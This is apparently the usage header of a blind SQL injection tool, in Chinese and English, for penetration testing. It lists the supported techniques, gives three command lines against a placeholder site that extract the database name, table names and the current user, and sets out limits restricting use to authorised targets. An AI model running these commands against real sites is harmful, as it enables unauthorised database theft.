Blind SQL Injection Exploit Tool
|
|
盲注利用工具
|
|
|
|
支持:
|
|
- 时间盲注 (Time-based Blind)
|
|
- 布尔盲注 (Boolean-based Blind)
|
|
- 自动数据提取
|
|
- 多线程加速
|
|
|
|
Usage:
|
|
# 时间盲注提取数据库名
|
|
python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --dbms mysql
|
|
|
|
# 布尔盲注提取表名
|
|
python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique bool --query "SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1"
|
|
|
|
# 提取当前数据库用户
|
|
python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --extract user
|
|
|
|
授权边界:
|
|
- 仅用于自有资产、测试环境或已明确授权的目标
|
|
- 建议优先使用最小化验证方式，避免对目标数据造成持久影响
|
|
- 不面向无授权第三方网站或泛互联网扫描
